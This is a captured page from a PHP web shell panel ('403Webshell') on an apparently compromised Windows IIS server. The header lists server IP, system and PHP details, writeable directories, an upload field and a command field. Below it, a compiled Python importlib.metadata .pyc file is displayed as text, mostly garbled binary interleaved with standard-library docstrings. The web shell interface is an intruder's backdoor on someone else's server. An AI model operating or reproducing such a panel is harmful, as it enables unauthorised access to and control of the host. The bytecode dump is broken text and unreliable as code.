403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.84
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/importlib/metadata/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/importlib/metadata/__pycache__/__init__.cpython-315.pyc
R
>lqj�c��Qs]QHGs]PHs]PHs]PHs]PHs]PHs]PH s]PH$s	]PH(s
]PH,s]PH0s]PH4s
]PH8s]PH<s]QH@GsGs]QHLGs]QHTGs]QH\Gs]QHGs]QHhGs]QHpGs]Q	HxGsG s ]Q
H�G"s"]QH�G$s$G%s%G&s&G's']QH�G)s)G*s*G+s+]Q
HtG,s,G-s-]QH�G/s/,QGNs0QQ\12s2QQ\32s4QQ2s5QQ\Ol2s7QQ2s8QQ\92s:QQ\
Ov2s<QQ 2s=Q!Q\O|Q"5s?Q#Q\2s@\'Q$2sAQ%Q&2sBQ'Q(2sCQ)Q*2sDQ+Q,\@2sEQ-Q.\?2sFQ/Q0ksGQ1Q2ksHQ3Q4ksIQ5Q6ksJ\O�\+\O�Q72Q85sMQ9Q:ksNQ;Q<ksOQ=Q>ksPQ?Q@ksQQAsRQBQCksSQDQEksTQFsUP!)Hz�
APIs exposing metadata from third-party Python packages.

This codebase is shared between importlib.metadata in the stdlib
and importlib_metadata in PyPI. See
https://github.com/python/importlib_metadata/wiki/Development-Methodology
for more detail.
)�annotations)�Iterable�Mapping)�suppress)�
import_module)�MetaPathFinder)�starmap)�Any)�_meta)�FreezableDefaultDict�Pair)�
ExceptionTrap)�method_cache�noop�	pass_none�passthrough)�always_iterable�bucket�unique_everseen)�PackageMetadata�
SimplePath)�md_none�Distribution�DistributionFinder�PackageNotFoundError�PackagePath�MetadataNotFoundc�>�\sQs];sQsQQks\QQk2sQsP!)rzThe package was not found.c��U]6�cPgQQ-!���return�str�)�formats"�0C:\Python315\\Lib\importlib\metadata\__init__.py�__annotate__�)PackageNotFoundError.__str__.__annotate__>s��@�@��@�c	�"�QUO0!)z"No package metadata was found for ��name��selfs&r$�__str__�PackageNotFoundError.__str__>s��3�D�I�I�;�?�?r'c��U]6�cPgQQ-!rr")r#s"r$r%�&PackageNotFoundError.name.__annotate__Bs����c�r'c	�$�UOvoU!�N)�args�r,r*s& r$r*�PackageNotFoundError.nameAs���)�)����r'r")	�__name__�
__module__�__qualname__�__firstlineno__�__doc__r-�propertyr*�__static_attributes__r"r'r$rr;s��$�@����r'c��\sQs]GsQsQsP!)rz0No metadata file is present in the distribution.r")r6r7r8r9r:r<r"r'r$rrGs��:r'c��\sQs]KsQs\OQ2O2s\	Q2s
\QQk2s\QQk2s
QsP!)	�	Sectioneda8
A simple entry point config parser for performance

>>> for item in Sectioned.read(Sectioned._sample):
...     print(item)
Pair(name='sec1', value='# comments ignored')
Pair(name='sec1', value='a = 1')
Pair(name='sec1', value='b = 2')
Pair(name='sec2', value='a = 2')

>>> res = Sectioned.section_pairs(Sectioned._sample)
>>> item = next(res)
>>> item.name
'sec1'
>>> item.value
Pair(name='a', value='1')
>>> item = next(res)
>>> item.value
Pair(name='b', value='2')
>>> item = next(res)
>>> item.name
'sec2'
>>> item.value
Pair(name='a', value='2')
>>> list(res)
[]
zm
        [sec1]
        # comments ignored
        a = 1
        b = 2

        [sec2]
        a = 2
        c	�H�QUOVOQ52!)c3��SF �DFoUOeJUO[OUO2Q5w�	JH	P!3h)N)�value)r*�_replacer�parserB)�.0�sections& r$�	<genexpr>�*Sectioned.section_pairs.<locals>.<genexpr>vs=��<���<���|�|�
>�G���4�:�:�g�m�m�#<��=�=�<�s
�A�9A)�filter_)�read�valid)�cls�texts&&r$�
section_pairs�Sectioned.section_pairsts#��
��8�8�D�)�)�8�<�
�	
r'c#	�2 �[U[[OUO	222oPoSFDVoUOQ29%cUO
Q2oU%cUOQ2oJH[V42w�	JX	P!3h)N�[�]z[])�filter�mapr!�strip�
splitlines�
startswith�endswithr)rMrI�linesr*rB�
section_matchs&&    r$rJ�Sectioned.read|sr����w��C�I�I�t���/@� A�B�����E�!�,�,�S�1�I�I�e�n�n�S�6I�M���{�{�4�(����t�#�#��s�AB�B�0'Bc��U]6�cPgQQ-!)r�liner!r")r#s"r$r%�Sectioned.valid.__annotate__�s��1�1�C�1r'c	�D�S9%cUOQ2%(!)�#)rW)r]s&r$rK�Sectioned.valid�s���0�0�D�O�O�C�0�0�0r'r"r2)r6r7r8r9r:�textwrap�dedent�lstrip�_sample�classmethodrN�staticmethodrJrKr<r"r'r$r?r?Ksd���8�o�o�	�
�
�f�h���
��
��$��$��1��1r'r?c�8�\sQs]�s"Q\Q$Q\Q$Q\Q$QsP!)�_EntryPointMatchr!�module�attr�extrasr")r6r7r8r9�__annotations__r<r"r'r$riri�s����K�

�I��Kr'ric�:�\sQs]�s"Qs\OQ2sQ\Q$Q\Q$Q\Q$Ps	Q\Q$Q	Q
ks
QQks\Q
Qk2s
\QQk2s\QQk2s\O"QQk2sQsQs\Q2sQsQsQsQsQsQQksQsP!) �
EntryPointa|An entry point as defined by Python packaging conventions.

See `the packaging docs on entry points
<https://packaging.python.org/specifications/entry-points/>`_
for more information.

>>> ep = EntryPoint(
...     name=None, group=None, value='package.module:attr [extra1, extra2]')
>>> ep.module
'package.module'
>>> ep.attr
'attr'
>>> ep.extras
['extra1', 'extra2']

If the value package or module are not valid identifiers, a
ValueError is raised on access.

>>> EntryPoint(name=None, group=None, value='invalid-name').module
Traceback (most recent call last):
...
ValueError: ('Invalid object reference...invalid-name...
>>> EntryPoint(name=None, group=None, value='invalid-name').attr
Traceback (most recent call last):
...
ValueError: ('Invalid object reference...invalid-name...
>>> EntryPoint(name=None, group=None, value='invalid-name').extras
Traceback (most recent call last):
...
ValueError: ('Invalid object reference...invalid-name...

The same thing happens on construction.

>>> EntryPoint(name=None, group=None, value='invalid-name')
Traceback (most recent call last):
...
ValueError: ('Invalid object reference...invalid-name...

zH(?P<module>[\w.]+)\s*(:\s*(?P<attr>[\w.]+)\s*)?((?P<extras>\[.*\])\s*)?$r!r*rB�groupzDistribution | None�distc�*�U]6�cPgQQQQQQQQ-!)rr*r!rBrpr �Noner")r#s"r$r%� EntryPoint.__init__.__annotate__�s(����S����S��T�r'c	�X�[U2OVUQ5UOP!��r*rBrp)�vars�updaterj)r,r*rBrps&&&&r$�__init__�EntryPoint.__init__�s ���T�
���t���>���r'c��U]6�cPgQQ-!)rr rr")r#s"r$r%�EntryPoint.load.__annotate__�s��8�8�c�8r'c
���[UO2o[PUO9%fPO	Q22o[
O[V!2!)z�Load the entry point from its definition. If only a module
is indicated by the value, return that module. Otherwise,
return the named object.
�.)rrjrSrk�split�	functools�reduce�getattr)r,rj�attrss&  r$�load�EntryPoint.load�sF��
�t�{�{�+���t�d�i�i�o�o�2�4�4�S�9�:�������7�7r'c��U]6�cPgQQ-!rr")r#s"r$r%�EntryPoint.module.__annotate__�s��"�"��"r'c	�0�UOO!r2)�_matchrjr+s&r$rj�EntryPoint.module�s���{�{�!�!�!r'c��U]6�cPgQQ-!rr")r#s"r$r%�EntryPoint.attr.__annotate__�s�� � �c� r'c	�0�UOO!r2)r�rkr+s&r$rk�EntryPoint.attr�s���{�{���r'c��U]6�cPgQQ-!�rr z	list[str]r")r#s"r$r%�EntryPoint.extras.__annotate__�s��<�<�	�<r'c	�n�[OQUOO9%fP2!)z\w+)�re�findallr�rlr+s&r$rl�EntryPoint.extras�s%���z�z�&�$�+�+�"4�"4�":�":��;�;r'c��U]6�cPgQQ-!)rr rir")r#s"r$r%�EntryPoint._match.__annotate__�s��	5�	5�(�	5r'c	��UOOUO2oU%f[QUO2g[	Q-UO2@!)zlInvalid object reference. See https://packaging.python.org/en/latest/specifications/entry-points/#data-modelr")�pattern�matchrB�
ValueErrorri�	groupdict)r,r�s& r$r��EntryPoint._match�sP�����"�"�4�:�:�.����E��
�
�	�
� �4�%�/�/�"3�4�4r'c	�>�[U2OUQ5U!)�rq�rxry)r,rqs&&r$�_for�EntryPoint._for�s���T�
���t��$��r'c
�`�ROU2U1QkU2o[[[OUO2U22!)a�
EntryPoint matches the given parameters.

>>> ep = EntryPoint(group='foo', name='bar', value='bing:bong [extra1, extra2]')
>>> ep.matches(group='foo')
True
>>> ep.matches(name='bar', value='bing:bong [extra1, extra2]')
True
>>> ep.matches(group='foo', name='other')
False
>>> ep.matches()
True
>>> ep.matches(extras=['extra1', 'extra2'])
True
>>> ep.matches(module='bing')
True
>>> ep.matches(attr='bong')
True
c3�H:�SF �Do[RU2w�	J	P!3hr2�r�)rE�paramr,s& �r$rG�%EntryPoint.matches.<locals>.<genexpr>s��6���6�%���u�%�%�6�s�")�_disallow_dist�allrT�operator�eq�values)r,�paramsr�sf, r$�matches�EntryPoint.matches�s;���(	
���F�#�:�6�:���3�x�{�{�F�M�M�O�U�;�<�<r'c
�,�QU7c[Q2gP!)z�
Querying by dist is not allowed (dist objects are not comparable).
>>> EntryPoint(name='fan', value='fav', group='fag').matches(dist='foo')
Traceback (most recent call last):
...
ValueError: "dist" is not suitable for matching...
rqzo"dist" is not suitable for matching. Instead, use Distribution.entry_points.select() on a located distribution.)r�)r�s&r$r��EntryPoint._disallow_dists#���V���(��
�r'c	�J�UOUOUO1!r2rwr+s&r$�_key�EntryPoint._key's���y�y�$�*�*�d�j�j�0�0r'c	�F�UO2UO26!r2�r��r,�others&&r$�__lt__�EntryPoint.__lt__*s���y�y�{�U�Z�Z�\�)�)r'c	�F�UO2UO26H!r2r�r�s&&r$�__eq__�EntryPoint.__eq__-s���y�y�{�e�j�j�l�*�*r'c	��[Q2g)z!EntryPoint objects are immutable.)�AttributeError)r,r*rBs&&&r$�__setattr__�EntryPoint.__setattr__0s���@�A�Ar'c	�^�QUO8QUO8QUO8Q0!)zEntryPoint(name=z, value=z, group=�)rwr+s&r$�__repr__�EntryPoint.__repr__3s2���t�y�y�m�8�D�J�J�>�B��Z�Z�N�!�
%�	
r'c��U]6�cPgQQ-!)rr �intr")r#s"r$r%� EntryPoint.__hash__.__annotate__9s��!�!�#�!r'c	�6�[UO22!r2)�hashr�r+s&r$�__hash__�EntryPoint.__hash__9s���D�I�I�K� � r'r")r6r7r8r9r:r��compiler�rmrqrzr�r;rjrkrlr��cached_propertyr�r�r�rgr�r�r�r�r�r�r�r<r"r'r$roro�s����&�P�j�j�	%��G�
� �I��J��J� $�D�
�$��8��"��"�� �� ��<��<����	5��	5��=�0�
��
�1�*�+�B�
�!�!r'roc��\sQsQsQsQsQQksQsQQks\	QQ	k2s
\	Q
Qk2s\Q2s
\Q
2sQsP!)�EntryPoints�=z;
An immutable collection of selectable EntryPoint objects.
c�"�U]6�cPgQQQQ-!)rr*r!r ror")r#s"r$r%�$EntryPoints.__getitem__.__annotate__Ds��!�!��!�
�!r'c
��[[UOUQ522![c
[	S2gh9h)z+
Get the EntryPoint in self matching name.
r))�next�iter�select�
StopIteration�KeyErrorr4s&&r$�__getitem__�EntryPoints.__getitem__Ds;��	!���T�[�[�d�[�3�4�5�5���	!��4�.� �	!�s�#'�	>�
>c
�R�UOO8Q[U28Q0!)zb
Repr with classname and tuple constructor to
signal that we deviate from regular tuple behavior.
�(r�)�	__class__r6�tupler+s&r$r��EntryPoints.__repr__Ms��
 �>�>�2�2�E�$�K�@�@r'c��U]6�cPgQQ-!�rr r�r")r#s"r$r%�EntryPoints.select.__annotate__Ts��F�F�+�Fr'c
�.`�[U1QkU22!)z^
Select entry points from self that match the
given parameters (typically group and/or name).
c3�h:�SF �D"pOQ-R@%fJUw�	J$	P!3h�Nr")r�)rE�epr�s& �r$rG�%EntryPoints.select.<locals>.<genexpr>Ys������"�
�
�0D�V�0D�2�2��s�2�2)r�)r,r�s&lr$r��EntryPoints.selectTs���
�E��E�E�Er'c��U]6�cPgQQ-!�rr zset[str]r")r#s"r$r%�EntryPoints.names.__annotate__\s��(�(�x�(r'c
�F�STt.tFDpOjJ	to!ttoh)z2
Return the set of all names of all entry points.
r)�r,r�s& r$�names�EntryPoints.names[s��
#'�'�$�B���$�'�'��'��c��U]6�cPgQQ-!r�r")r#s"r$r%�EntryPoints.groups.__annotate__cs��)�)��)r'c
�F�STt.tFDpOjJ	to!ttoh)z3
Return the set of all groups of all entry points.
)rpr�s& r$�groups�EntryPoints.groupsbs��
$(�(�4�R���4�(�(��(r�c	�F`�UU1QkUOU222!)c3�P:�SF �DpOR2w�	J	P!3hr2)r�)rEr�rqs& �r$rG�-EntryPoints._from_text_for.<locals>.<genexpr>ks��+?���+?�R�7�7�4�=�=�+?���&)�
_from_text)rLrMrqs&&fr$�_from_text_for�EntryPoints._from_text_foris����@�3�>�>�$�+?�@�@�@r'c	�N�Q[OS9%fP22!)c3��SF �DFo[UOOUOOUOQ5w�	JH	P!3hrv)rorBr*)rE�items& r$rG�)EntryPoints._from_text.<locals>.<genexpr>os8��;���;��
�D�J�J�O�O�4�:�:�3C�3C�4�9�9�U�U�;�s�AA)r?rN)rMs&r$r��EntryPoints._from_textms%��
�!�/�/��
�
��;�
�	
r'r")r6r7r8r9r:�	__slots__r�r�r�r;r�r�rfr�rgr�r<r"r'r$r�r�=sq����I�!�A�F��(��(��)��)��A��A��
��
r'r�c�d�\sQsQs"QsQ\Q$Q\Q$Q\Q$QQ	Q
kksQQksQ
QksQs	P!)r�uz"A reference to a path in a packagezFileHash | Noner�r��sizerrqc�"�U]6�cPgQQQQ-!)r�encodingr!r r")r#s"r$r%�"PackagePath.read_text.__annotate__|s��:�:�#�:�C�:r'c	�D�UO2OUQ5!)�r	)�locate�	read_text)r,r	s&&r$r�PackagePath.read_text|s���{�{�}�&�&��&�9�9r'c��U]6�cPgQQ-!)rr �bytesr")r#s"r$r%�$PackagePath.read_binary.__annotate__s��*�*�U�*r'c	�@�UO2O2!r2)r
�
read_bytesr+s&r$�read_binary�PackagePath.read_binarys���{�{�}�'�'�)�)r'c��U]6�cPgQQ-!)rr rr")r#s"r$r%�PackagePath.locate.__annotate__�s��+�+�
�+r'c
�:�UOOU2!)z'Return a path-like object for this path)rq�locate_filer+s&r$r
�PackagePath.locate�s���y�y�$�$�T�*�*r'r")�utf-8)
r6r7r8r9r:rmrrr
r<r"r'r$rrus,���,�
��

�I�
��:�*�+�+r'c�0�\sQsQsQQksQQksQsP!)�FileHash�c�"�U]6�cPgQQQQ-!)r�specr!r rsr")r#s"r$r%�FileHash.__init__.__annotate__�s��7�7�S�7�T�7r'c	�D�UOQ2vUmp mP!)�=)�	partition�moderB)r,r!�_s&& r$rz�FileHash.__init__�s��#'�>�>�#�#6� ��	�1�jr'c��U]6�cPgQQ-!rr")r#s"r$r%�FileHash.__repr__.__annotate__�s��C�C�#�Cr'c	�>�QUOQUOQ0!)z<FileHash mode: z value: �>�r&rBr+s&r$r��FileHash.__repr__�s��!�$�)�)��H�T�Z�Z�L��B�Br'r-)r6r7r8r9rzr�r<r"r'r$rr�s��7�C�Cr'rc���\sQsQsQs\OQQk2s\OQQk2s\	QQk2s
\	Q	P-Q
Qkk2s\QQ
k2s
\QQk2s\Q2s\QQk2s\QQk2sQQks\QQk2s\Q2s\QQk2s\QQk2s\QQk2sQ sQ!sQ"s\Q#Q$k2sQ%sQ&s\	Q'2s\Q(2s \Q)2s!Q*s"Q+s#P!),r�a*
An abstract Python distribution package.

Custom providers may derive from this class and define
the abstract methods to provide a concrete implementation
for their environment. Some providers may opt to override
the default implementation of some properties to bypass
the file-reading mechanism.
c��U]6�cPgQQ-!)rr �
str | Noner")r#s"r$r%�#Distribution.read_text.__annotate__�s����Z�r'c
��P!)a`Attempt to load metadata file given by the name.

Python distribution metadata is organized by blobs of text
typically represented as "files" in the metadata directory
(e.g. package-1.0.dist-info). These files include things
like:

- METADATA: The distribution metadata including fields
  like Name and Version and Description.
- entry_points.txt: A series of entry points as defined in
  `the entry points spec <https://packaging.python.org/en/latest/specifications/entry-points/#file-format>`_.
- RECORD: A record of files according to
  `this recording spec <https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file>`_.

A package may provide any set of files, including those
not listed here or none at all.

:param filename: The name of the file in the distribution info.
:return: The text if found, otherwise None.
r"�r,�filenames&&r$r�Distribution.read_text���r'c�"�U]6�cPgQQQQ-!�r�path�str | os.PathLike[str]r rr")r#s"r$r%�%Distribution.locate_file.__annotate__�s���� 6��:�r'c
��P!)a)
Given a path to a file in this distribution, return a SimplePath
to it.

This method is used by callers of ``Distribution.files()`` to
locate files within the distribution. If it's possible for a
Distribution to represent files in the distribution as
``SimplePath`` objects, it should implement this method
to resolve such objects.

Some Distribution providers may elect not to resolve SimplePath
objects within the distribution by raising a
NotImplementedError, but consumers of such a Distribution would
be unable to invoke ``Distribution.files()``.
r"�r,r;s&&r$r�Distribution.locate_file�r8r'c�"�U]6�cPgQQQQ-!)rr*r!r rr")r#s"r$r%�#Distribution.from_name.__annotate__�s��7�7�S�7�\�7r'c

���U%f[Q2g[[UOUO	UQ5222![
c[
S2Pgh9h)avReturn the Distribution for the given package name.

:param name: The name of the distribution package to search for.
:return: The Distribution instance (or subclass thereof) for the named
    package, if found.
:raises PackageNotFoundError: When the named package's distribution
    metadata cannot be found.
:raises ValueError: When an invalid value is supplied for name.
z A distribution name is required.r))r�r�r��
_prefer_valid�discoverr�r)rLr*s&&r$�	from_name�Distribution.from_name�sZ����?�@�@�	7���S�.�.�s�|�|��|�/F�G�H�I�I���	7�&�t�,�$�6�	7�s�2A	�		A!�A!�contextc�"�U]6�cPgQQQQ-!)rrHz!DistributionFinder.Context | Noner �Iterable[Distribution]r")r#s"r$r%�"Distribution.discover.__annotate__�s��
�
�:�
�	�
r'c
��`�R%cU%c[Q2gR9%f[OQ-U@n[OOU1QkUO
222!)a
Return an iterable of Distribution objects for all packages.

Pass a ``context`` or pass keyword arguments for constructing
a context.

:context: A ``DistributionFinder.Context`` object.
:return: Iterable of Distribution objects for packages matching
  the context.
z cannot accept context and kwargsc3�>:�SF �D
pR2w�	J	P!3hr2r")rE�resolverrHs& �r$rG�(Distribution.discover.<locals>.<genexpr>�s��.G���.G�(�H�W���.G�s�r")r�r�Context�	itertools�chain�
from_iterable�_discover_resolvers)rLrH�kwargss&d,r$rE�Distribution.discover�s_����v��?�@�@��A�A�/�7�7�A�&�A�����,�,�-
�.1�.E�.E�.G�-
�
�	
r'c�"�U]6�cPgQQQQ-!)r�distsrJr r")r#s"r$r%�'Distribution._prefer_valid.__annotate__�s��>�>�3�>�8N�>r'c
���[[2O[OQ22o[V2o[OUP	*UP
*2!)zc
Prefer (move to the front) distributions that have metadata.

Ref python/importlib_resources#489.
�metadata)rr�passesr��
attrgetterrrQrR)rX�has_metadata�bucketss&  r$rD�Distribution._prefer_valid�sM��%�%5�6�=�=����
�+�
����-�����w�t�}�g�e�n�=�=r'c�"�U]6�cPgQQQQ-!)rr;r<r rr")r#s"r$r%�Distribution.at.__annotate__�s��4�4�'�4�L�4r'c
�B�[[OU22!)z�Return a Distribution for the indicated metadata path.

:param path: a string or path-like object
:return: a concrete Distribution instance for the path
)�PathDistribution�pathlib�Path�r;s&r$�at�Distribution.at�s�� ����T� 2�3�3r'c
�H�Q[O2o[PU2!)z9Search the meta_path for resolvers (MetadataPathFinders).c3�H�SF �Do[UQP2w�	J	P!3h)�find_distributionsr�)rE�finders& r$rG�3Distribution._discover_resolvers.<locals>.<genexpr>s��FS���FS�F�G�F�0�$�7�7�m�s�")�sys�	meta_pathrS)�declareds r$rT� Distribution._discover_resolverss$��
�FI�m�m�
���d�H�%�%r'c��U]6�cPgQQ-!)rr �_meta.PackageMetadatar")r#s"r$r%�"Distribution.metadata.__annotate__
s��K�K�/�Kr'c
���UOQ29%f+UOQ29%fUOP2oUOUOU22!)a�Return the parsed metadata for this Distribution.

The returned object will have keys that name the various bits of
metadata per the
`Core metadata specifications <https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata>`_.

Custom providers may provide the METADATA file or override this
property.

:raises MetadataNotFound: If no metadata file is present.
�METADATAzPKG-INFO)r�_assemble_message�_ensure_metadata_present�r,rMs& r$r[�Distribution.metadata	sa��
�N�N�:�&�
"�
"��~�~�j�)�
"�
"�
�~�~�b�!�
	
��%�%�d�&C�&C�D�&I�J�Jr'c�"�U]6�cPgQQQQ-!)rrMr!r rtr")r#s"r$r%�+Distribution._assemble_message.__annotate__"s��B�B��B�(=�Br'c	�Z�]QHGoUO[OU22!)�)�	_adapters)�r��Message�email�message_from_string)rMr�s& r$rx�Distribution._assemble_message!s#��	 �� � ��!:�!:�4�!@�A�Ar'c�"�U]6�cPgQQQQ-!)rrMr2r r!r")r#s"r$r%�2Distribution._ensure_metadata_present.__annotate__(s��A�A�Z�A�C�Ar'c	�&�UdU![Q2g)NzNo package metadata was found.)rrzs&&r$ry�%Distribution._ensure_metadata_present(s�����K��?�@�@r'c��U]6�cPgQQ-!rr")r#s"r$r%�Distribution.name.__annotate__/s��%�%�c�%r'c
�*�UOQ*!)z8Return the 'Name' metadata for the distribution package.�Name�r[r+s&r$r*�Distribution.name.s���}�}�V�$�$r'c
�B�[OUO2!)z(Return a normalized version of the name.)�Prepared�	normalizer*r+s&r$�_normalized_name�Distribution._normalized_name3s���!�!�$�)�)�,�,r'c��U]6�cPgQQ-!rr")r#s"r$r%�!Distribution.version.__annotate__9s��(�(��(r'c
�*�UOQ*!)z;Return the 'Version' metadata for the distribution package.�Versionr�r+s&r$�version�Distribution.version8s���}�}�Y�'�'r'c��U]6�cPgQQ-!r�r")r#s"r$r%�&Distribution.entry_points.__annotate__>s��T�T�k�Tr'c
�N�[OUOQ2U2!)z�
Return EntryPoints for this distribution.

Custom providers may provide the ``entry_points.txt`` file
or override this property.
zentry_points.txt)r�r�rr+s&r$�entry_points�Distribution.entry_points=s!���)�)�$�.�.�9K�*L�d�S�Sr'c��U]6�cPgQQ-!)rr �list[PackagePath] | Noner")r#s"r$r%�Distribution.files.__annotate__Hs��(
�(
�/�(
r'c
��``�QU1Qkkn[U1Qk2o[Q2oSSRO29%f)RO29%fRO222!)a�Files in this distribution.

:return: List of PackagePath for this distribution or None

Result is `None` if the metadata file that enumerates files
(i.e. RECORD for dist-info, or installed-files.txt or
SOURCES.txt for egg-info) is missing.
Result may be empty if the metadata exists but is empty.

Custom providers are recommended to provide a "RECORD" file (in
``read_text``) or override this property to allow for callers to be
able to resolve filenames provided by the package.
c�:�[U2oU%c[U2LPUmU%c[U2LPUmRUmU!r2)rrr�r�rrq)r*r��size_str�resultr,s&&& �r$�	make_file�%Distribution.files.<locals>.make_fileWs7��� ��&�F�,0�(�4�.�d�F�K�+3�#�h�-��F�K��F�K��Mr'c�D:�]PHo[RUOU22!)�)�csvr�reader)rYr�r�s& �r$�
make_files�&Distribution.files.<locals>.make_files^s���
��9�c�j�j��&7�8�8r'c�0�[[QU22!)c�@�UO2O2!r2)r
�existsrgs&r$�<lambda>�@Distribution.files.<locals>.skip_missing_files.<locals>.<lambda>hs��D�K�K�M�,@�,@�,Br')�listrS)�
package_pathss&r$�skip_missing_files�.Distribution.files.<locals>.skip_missing_filesfs����B�M�R�S�Sr')NN)r�_read_files_distinfo�_read_files_egginfo_installed�_read_files_egginfo_sources)r,r�r�r�sf  @r$�files�Distribution.filesGs���� 	�
�	9�
�	9�
�	T�
�	T�"���)�)�+�6�6��5�5�7�6�6��3�3�5�
�
�	
r'c
�Z�UOQ2oS9%cUO2!)z
Read the lines of RECORD.
�RECORD)rrVrzs& r$r��!Distribution._read_files_distinfors'���~�~�h�'���)�)����)�)r'c
��``�ROQ2o[RQP2nU%c	R%fP!UU1QkUO22o[QOU2!)a�
Read installed-files.txt and return lines in a similar
CSV-parsable format as RECORD: each file must be placed
relative to the site-packages directory and must also be
quoted (since file names can contain literal commas).

This file is written when the package is installed by pip,
but it might not be written for other installation methods.
Assume the file is accurate if it exists.
zinstalled-files.txt�_pathc3��:�SF �DYoRU*O2OROP2O2P	Q5O2w�	J[	P!3h)r�)�walk_up)�resolve�relative_tor�as_posix)rEr*r,�subdirs& ��r$rG�=Distribution._read_files_egginfo_installed.<locals>.<genexpr>�sU��
*���
*��	�d�]�
�W�Y�
�[��)�)�"�-�5�5�7��[�
F�
�X�Z�
�*�s�A!A)�"{}")rr�rVrTr#)r,rM�pathsr�sf  @r$r��*Distribution._read_files_egginfo_installedysW����~�~�3�4����w��-���6��
�
���)�
���6�=�=�%�(�(r'c
��UOQ2oS9%c%[QOUO22!)a�
Read SOURCES.txt and return lines in a similar CSV-parsable
format as RECORD: each file name must be quoted (since it
might contain literal commas).

Note that SOURCES.txt is not a reliable source for what
files are installed by a package. This file is generated
for a source archive, and the files that are present
there (e.g. setup.py) may not correctly reflect the files
that are present after the package has been installed.
zSOURCES.txtr�)rrTr#rVrzs& r$r��(Distribution._read_files_egginfo_sources�s2���~�~�m�,���=�=��F�M�M�4�?�?�+<�=�=r'c��U]6�cPgQQ-!)rr �list[str] | Noner")r#s"r$r%�"Distribution.requires.__annotate__�s��#�#�*�#r'c
�~�UO29%fUO2oS9%c[U2!)z6Generated requirements specified for this Distribution)�_read_dist_info_reqs�_read_egg_info_reqsr�)r,�reqss& r$�requires�Distribution.requires�s5���(�(�*�H�H�d�.F�.F�.H���"�"��T�
�"r'c	�:�UOOQ2!)z
Requires-Dist)r[�get_allr+s&r$r��!Distribution._read_dist_info_reqs�s���}�}�$�$�_�5�5r'c	�\�UOQ2o[UO2U2!)zrequires.txt)rr�_deps_from_requires_text)r,�sources& r$r�� Distribution._read_egg_info_reqs�s&������/����6�6�7��?�?r'c	�L�UO[OU22!r2)�%_convert_egg_info_reqs_to_simple_reqsr?rJ)rLr�s&&r$r��%Distribution._deps_from_requires_text�s���8�8�����9O�P�Pr'c#
�` �QnU1QkoQoSFDBoUUO2oUOU*UUO2*w�	JD	P!3h)a�
Historically, setuptools would solicit and store 'extra'
requirements, including those with environment markers,
in separate sections. More modern tools expect each
dependency to be defined separately, with any relevant
extras and environment markers attached directly to that
requirement. This method converts the former to the
latter. See _test_deps_from_requires_text for an example.
c�$�S9%cQUQ0!)z
extra == "�"r"r)s&r$�make_condition�JDistribution._convert_egg_info_reqs_to_simple_reqs.<locals>.make_condition�s���0�0�j���a�0�0r'c	��:�S9%fPoUOQ2vqoU%cU%cQUQ0o[[PURU2,22oU%cQQOU2*!P!)r��:r�r�z; z and )r%r�rS�join)rF�extra�sep�markers�
conditionsr�s&    �r$�
quoted_marker�IDistribution._convert_egg_info_reqs_to_simple_reqs.<locals>.quoted_marker�sk����m�m��G�")�"3�"3�C�"8��E�����g�Y�a�.���f�T�G�^�E�5J�+K�L�M�J�6@�4�'�,�,�z�2�2�H�b�Hr'c��QQU7*!)zi
PEP 508 requires a space between the url_spec and the quoted_marker.
Ref python/importlib_metadata#357.
� �@r")�reqs&r$�
url_req_space�IDistribution._convert_egg_info_reqs_to_simple_reqs.<locals>.url_req_space�s���#��*�%�%r')rBr*)�sectionsr�r�rF�spacer�s&    @r$r��2Distribution._convert_egg_info_reqs_to_simple_reqs�sM����	1�	I�	&� �G�!�'�-�-�0�E��-�-�%�'�-����*E�E�E� �s�AAc	�&�UOQ2!)zdirect_url.json)�
_load_jsonr+s&r$�origin�Distribution.origin�s�����0�1�1r'c	�f�]PHo[UO2UOU2QQ5!)r�c�2�[OQ-U@!r�)�types�SimpleNamespace)�datas&r$r��)Distribution._load_json.<locals>.<lambda>�s��U�%:�%:�%B�T�%Br')�object_hook)�jsonr�loadsr)r,r6rs&& r$r��Distribution._load_json�s*�������$��N�N�8�$�B�
�	
r'r")$r6r7r8r9r:�abc�abstractmethodrrrfrFrErgrDrhrTr;r[rxryr*r�r�r�r�r�r�r�r�r�r�r�r�r�r�r<r"r'r$rr�s����	������,	������"�7��7�"�
�=A�
��
�&�>��>��4��4��&��&��K��K�.�B��B�A��%��%��-��-��(��(��T��T��(
��(
�T*�)�8
>��#��#�
6�@��Q��Q�� F�� F�D�2��2�
r')�	metaclassc�j�\sQsQsQsQQ2s\O\21QQkk2sQs	P!)r��z�
A MetaPathFinder capable of discovering installed distributions.

Custom providers should implement this interface in order to
supply metadata.
c�>�\sQsQsQsPsQs\QQk2sQs	P!)�DistributionFinder.Context��a
Keyword arguments presented by the caller to
``distributions()`` or ``Distribution.discover()``
to narrow the scope of a search for distributions
in all DistributionFinders.

Each DistributionFinder may expect any parameters
and should attempt to honor the canonical
parameters defined below when appropriate.

This mechanism gives a custom provider a means to
solicit additional details from the caller beyond
"name" and "path" when searching distributions.
For example, imagine a provider that exposes suites
of packages in either a "public" or "private" ``realm``.
A caller may wish to query only for distributions in
a particular realm and could call
``distributions(realm="private")`` to signal to the
custom provider to only include distributions from that
realm.
c	�<�[U2OU2P!r2r�)r,rUs&,r$rz�#DistributionFinder.Context.__init__s����J���f�%r'c��U]6�cPgQQ-!r�r")r#s"r$r%�,DistributionFinder.Context.path.__annotate__s��	4�	4�)�	4r'c
�V�[U2OQ[O2!)z�
The sequence of directory path that a distribution finder
should search.

Typically refers to Python installed package paths such as
"site-packages" directories and defaults to ``sys.path``.
r;)rx�getror;r+s&r$r;�DistributionFinder.Context.paths����:�>�>�&�#�(�(�3�3r'r")
r6r7r8r9r:r*rzr;r;r<r"r'r$rPr�s,��	�,��	�
	&�
�	4�
�	4r'rPc��U]6�cPgQQ-!�rr rJr")r#s"r$r%�2DistributionFinder.find_distributions.__annotate__s����7M�r'c
��P!)z�
Find distributions.

Return an iterable of all Distribution instances capable of
